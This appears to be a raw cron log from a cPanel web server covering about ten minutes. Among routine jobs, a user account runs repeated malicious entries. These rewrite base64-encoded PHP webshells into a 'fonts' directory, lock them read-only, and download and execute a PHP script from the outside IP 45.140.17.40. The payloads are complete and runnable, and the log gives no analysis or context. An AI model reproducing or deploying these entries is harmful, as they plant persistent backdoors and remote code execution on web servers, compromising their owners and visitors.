Sep  3 08:59:01 ip-184-168-122-23 CROND[7696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:00:01 ip-184-168-122-23 CROND[7817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:00:01 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7828]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:00:01 ip-184-168-122-23 CROND[7834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:01:01 ip-184-168-122-23 CROND[8029]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8029]: starting 0anacron
Sep  3 09:01:01 ip-184-168-122-23 CROND[8035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:01:01 ip-184-168-122-23 CROND[8037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:01:01 ip-184-168-122-23 CROND[8036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:01:01 ip-184-168-122-23 CROND[8040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:01:01 ip-184-168-122-23 CROND[8041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8049]: finished 0anacron
Sep  3 09:02:01 ip-184-168-122-23 CROND[8181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:02:01 ip-184-168-122-23 CROND[8184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:02:01 ip-184-168-122-23 CROND[8185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:02:01 ip-184-168-122-23 CROND[8183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:02:01 ip-184-168-122-23 CROND[8186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:03:01 ip-184-168-122-23 CROND[8304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:03:01 ip-184-168-122-23 CROND[8307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:03:01 ip-184-168-122-23 CROND[8306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:03:01 ip-184-168-122-23 CROND[8305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:04:01 ip-184-168-122-23 CROND[8426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:04:01 ip-184-168-122-23 CROND[8429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:04:01 ip-184-168-122-23 CROND[8427]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:04:01 ip-184-168-122-23 CROND[8428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:04:01 ip-184-168-122-23 CROND[8431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:05:02 ip-184-168-122-23 CROND[8585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:05:02 ip-184-168-122-23 CROND[8591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:06:01 ip-184-168-122-23 CROND[8708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:06:01 ip-184-168-122-23 CROND[8709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:06:01 ip-184-168-122-23 CROND[8711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:06:01 ip-184-168-122-23 CROND[8714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:06:01 ip-184-168-122-23 CROND[8715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:07:01 ip-184-168-122-23 CROND[8936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:07:01 ip-184-168-122-23 CROND[8937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:07:01 ip-184-168-122-23 CROND[8935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:07:01 ip-184-168-122-23 CROND[8938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:08:01 ip-184-168-122-23 CROND[9042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:08:01 ip-184-168-122-23 CROND[9046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:08:01 ip-184-168-122-23 CROND[9045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:08:01 ip-184-168-122-23 CROND[9047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:08:01 ip-184-168-122-23 CROND[9050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:09:01 ip-184-168-122-23 CROND[9172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:09:01 ip-184-168-122-23 CROND[9177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:09:01 ip-184-168-122-23 CROND[9175]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 09:09:01 ip-184-168-122-23 CROND[9176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:09:01 ip-184-168-122-23 CROND[9178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:10:01 ip-184-168-122-23 CROND[9292]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:10:02 ip-184-168-122-23 CROND[9299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:10:02 ip-184-168-122-23 CROND[9302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
